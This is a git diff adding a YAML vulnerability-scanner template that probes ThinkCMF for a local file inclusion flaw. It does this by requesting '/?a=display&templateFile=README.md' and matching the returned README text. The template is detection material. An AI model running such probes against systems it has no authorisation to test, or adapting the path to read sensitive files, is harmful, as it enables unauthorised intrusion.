commit message

2026-09-25 20:51:52 +08:00 · 2020-12-29 17:17:10 +08:00
commit df45b07ce8
97 changed files with 45329 additions and 0 deletions
@@ -0,0 +1,13 @@
+name: poc-yaml-thinkcmf-lfi
+
+rules:
+  - method: GET
+    path: "/?a=display&templateFile=README.md"
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(b"ThinkCMF"))) && response.body.bcontains(bytes(string(b"## README")))
+
+detail:
+  author: JerryKing
+  ThinkCMF: x1.6.0/x2.1.0/x2.2.0-2
+  links:
+    - https://www.freebuf.com/vuls/217586.html